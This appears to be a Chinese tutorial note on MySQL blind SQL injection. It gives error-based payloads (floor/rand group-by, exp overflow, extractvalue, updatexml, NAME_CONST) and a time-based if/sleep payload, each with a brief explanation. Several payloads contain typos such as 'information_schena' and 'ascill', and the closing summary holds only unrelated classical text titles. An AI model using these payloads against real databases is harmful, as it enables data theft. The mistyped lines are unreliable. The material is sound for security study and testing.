文章目录
- 一、基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来
- 二、基于时间的 SQL 盲注----------延时注入
- 总结
一、基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
对此语句进行解释:count()进行计数,concat()进行sql语句的连接,floor函数向下取反,rand()函数生成所及数0-1
之间,其中a
是别名,造成错误的原因分组后数据计数重复造成的错误。
以上语句可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),
floor(rand(0)*2))
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2)
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schena.tables group by concat(password,@a:=(@a+1)%2)
double数值类型超出范围
select exp(~(select *from (select uses()))a)
exp是以e为底的对数函数
bigint超出范围~0是对0取反
select !(select *from (select user())x)-~0;
详细内容来自http://www.cnblogs.com/lcamry/articles/5509124.html
extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进
行查询和修改的 xpath 函数,xpath 语法错误
extractvalue()函数
extractvalue(1,concat(0x7e,(select @@version),0x7e))
对extractvalue函数解释
extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
SQL报错注入的应用:若xpath_expr参数不符合xpath格式,就会报错。
~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入
的目的。
updatexml()函数
updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行
查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错。
二、基于时间的 SQL 盲注----------延时注入
基于时间盲注if函数
逻辑判断函数if()
if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语
句
if(ascill(substr(database(),1,1))>115,0,sleep(5))
//if判断语句如果条件为假则执行,sleep()语句
总结
逍遥游,齐物论,养生主,人间世。